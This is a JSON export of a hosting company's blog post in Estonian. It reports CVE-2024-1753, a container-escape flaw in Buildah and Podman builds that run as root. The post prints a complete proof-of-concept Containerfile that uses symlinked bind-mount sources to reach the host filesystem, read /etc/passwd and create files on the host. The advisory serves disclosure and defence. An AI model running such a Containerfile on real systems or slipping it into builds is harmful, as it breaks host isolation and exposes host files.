{"id":114412,"date":"2024-03-19T00:25:47","date_gmt":"2024-03-18T22:25:47","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimost-v-buildah-i-podman-pozvolyayushhaya-obojti-izolyacziyu-kontejnera"},"modified":"2024-03-19T00:25:47","modified_gmt":"2024-03-18T22:25:47","slug":"uyazvimost-v-buildah-i-podman-pozvolyayushhaya-obojti-izolyacziyu-kontejnera","status":"publish","type":"post","link":"https:\/\/prohoster.info\/et\/blog\/novosti-interneta\/uyazvimost-v-buildah-i-podman-pozvolyayushhaya-obojti-izolyacziyu-kontejnera","title":{"rendered":"Buildah ja Podman haavatavus, mis v\u00f5imaldab konteineri isolatsiooni m\u00f6\u00f6da minna.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Buildah ja Podman pakettides avastati haavatavus (CVE-2024-1753), mis v\u00f5imaldab saada t\u00e4ieliku juurdep\u00e4\u00e4su host-\u00fcmbriku failis\u00fcsteemile konteineri ehitamise etapis, mis k\u00e4ivitatakse root \u00f5igustega. S\u00fcsteemides, kus on aktiveeritud SELinux, on juurdep\u00e4\u00e4s hosti failis\u00fcsteemile piiratud ainult lugemisre\u017eiimiga. Parandus on praegu saadaval plaasina, mis v\u00f5eti m\u00f5ned minutid tagasi Buildah koodibaasi. <\/p>\n

Haavatavus tuleneb sellest, et FS osade mountimise teostamisel k\u00e4suga «mount —bind» RUN etapis ei kontrollita allika katalooge (argument «source=») juurtasandil olemasolu. K\u00fcberkurjategija poolt loodud Containerfile konfigureerimisfail v\u00f5ib kasutada konteineri pilti, kus mountimise allikakataloog on kujutatud s\u00fcmboolse lingina juurtasandil. Sellisel juhul toob mountimistegevus kaasa host-keskkonna juurtasandi montaa\u017ei konteinerisse, mis v\u00f5imaldab RUN etapis p\u00e4\u00e4seda t\u00e4ielikult host-keskkonna failis\u00fcsteemile ja korraldada konteinerist v\u00e4ljumine ehitusk\u00e4skude «buildah build» v\u00f5i «podman build» ajal. <\/p>\n

N\u00e4ide pahatahtlikust Containerfile'ist, mille ehitamine k\u00e4suga «podman build -f ~\/Containerfile .» toob kaasa \/etc\/passwd sisu kuvamise ning failide \/BIND_BREAKEOUT ja \/etc\/BIND_BREAKOUT2 loomise host-keskkonnas: FROM alpine as base RUN ln -s \/ \/rootdir RUN ln -s \/etc \/etc2 FROM alpine RUN echo «ls konteineri juurtasand» RUN ls -l \/ RUN echo «Enamasti n\u00e4itab see hosti juurtasandit, mitte konteineri omakorda, ning loob \/BIND_BREAKOUT \/-s hostis» RUN —mount=type=bind,from=base,source=\/rootdir,destination=\/exploit,rw ls -l \/exploit; touch \/exploit\/BIND_BREAKOUT; ls -l \/exploit RUN echo «Enamasti n\u00e4itab see hosti \/etc\/passwd, mitte konteineri oma, ning loob \/BIND_BREAKOUT2 \/etc hostis» RUN —mount=type=bind,rw,source=\/etc2,destination=\/etc2,from=base ls -l \/; ls -l \/etc2\/passwd; cat \/etc2\/passwd; touch \/etc2\/BIND_BREAKOUT2; ls -l \/etc2
\n
Allikas: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 Buildah \u0438 Podman \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2024-1753), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0445\u043e\u0441\u0442-\u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043d\u0430 \u0441\u0442\u0430\u0434\u0438\u0438 \u0441\u0431\u043e\u0440\u043a\u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c\u043e\u0433\u043e \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root. \u041d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0441 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u043c SELinux \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0445\u043e\u0441\u0442\u043e\u0432\u043e\u0439 \u0424\u0421 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0440\u0435\u0436\u0438\u043c\u043e\u043c \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u044f. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e \u0432 \u0432\u0438\u0434\u0435 \u043f\u0430\u0442\u0447\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u0438\u043d\u0443\u0442 \u043d\u0430\u0437\u0430\u0434 \u043f\u0440\u0438\u043d\u044f\u0442 \u0432 \u043a\u043e\u0434\u043e\u0432\u0443\u044e \u0431\u0430\u0437\u0443 Buildah. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u0442\u0435\u043c, […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-114412","post","type-post","status-publish","format-standard","hentry","category-novosti-interneta"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Buildah ja Podman haavatavus, mis v\u00f5imaldab konteinerite isoleerimist \u00fcletada | ProHoster","description":"Buildah ja Podman paketis avastati haavatavus (CVE-2024-1753), mis v\u00f5imaldab t\u00e4ielikku juurdep\u00e4\u00e4su host-keskkonna failis\u00fcsteemile konteineri koostamise etapis, kui see on k\u00e4ivitatud root\u2019i \u00f5igustega. S\u00fcsteemides, kus on lubatud SELinux, on juurdep\u00e4\u00e4s hosti FS-ile piiratud ainult lugemisre\u017eiimiga. Parandus on veel saadaval patch\u2019ina, mis v\u00f5eti m\u00f5ni minut tagasi Buildah koodibaasi.","canonical_url":"https:\/\/prohoster.info\/et\/blog\/novosti-interneta\/uyazvimost-v-buildah-i-podman-pozvolyayushhaya-obojti-izolyacziyu-kontejnera","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"et_EE","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Buildah \u0438 Podman, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043e\u0431\u043e\u0439\u0442\u0438 \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u044e \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 | ProHoster","og:description":"\u0412 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 Buildah \u0438 Podman \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2024-1753), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0445\u043e\u0441\u0442-\u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043d\u0430 \u0441\u0442\u0430\u0434\u0438\u0438 \u0441\u0431\u043e\u0440\u043a\u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c\u043e\u0433\u043e \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root. \u041d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0441 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u043c SELinux \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0445\u043e\u0441\u0442\u043e\u0432\u043e\u0439 \u0424\u0421 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0440\u0435\u0436\u0438\u043c\u043e\u043c \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u044f. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e \u0432 \u0432\u0438\u0434\u0435 \u043f\u0430\u0442\u0447\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u0438\u043d\u0443\u0442 \u043d\u0430\u0437\u0430\u0434 \u043f\u0440\u0438\u043d\u044f\u0442 \u0432 \u043a\u043e\u0434\u043e\u0432\u0443\u044e \u0431\u0430\u0437\u0443 Buildah. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u0442\u0435\u043c,","og:url":"https:\/\/prohoster.info\/et\/blog\/novosti-interneta\/uyazvimost-v-buildah-i-podman-pozvolyayushhaya-obojti-izolyacziyu-kontejnera","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2024-03-18T22:25:47+00:00","article:modified_time":"2024-03-18T22:25:47+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":[],"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts\/114412","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/comments?post=114412"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts\/114412\/revisions"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/media?parent=114412"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/categories?post=114412"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/tags?post=114412"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}